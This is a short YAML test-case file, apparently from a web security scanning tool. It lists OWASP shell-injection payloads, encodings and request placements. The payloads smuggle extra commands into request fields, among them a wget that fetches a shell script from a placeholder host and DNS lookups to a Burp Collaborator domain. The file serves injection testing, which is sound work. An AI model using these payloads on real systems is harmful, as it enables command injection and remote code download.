gitex2026/AttackSurface/dist/testcases/owasp/shell-injection.yml
2026-04-24 19:18:37 +00:00

14 lines
331 B
YAML

payload:
- ';wget http://some_host/sh311.sh'
- '|getent+hosts+somehost.burpcollaborator.net.&'
- ';getent$IFS$9hosts$IFS$9somehost.burpcollaborator.net;echo$IFS$9$((3482*7301));'
- '| set /a 3482*7301'
encoder:
- Base64Flat
- URL
placeholder:
- JSONRequest
- URLParam
- HTMLForm
- HTMLMultipartForm
type: Shell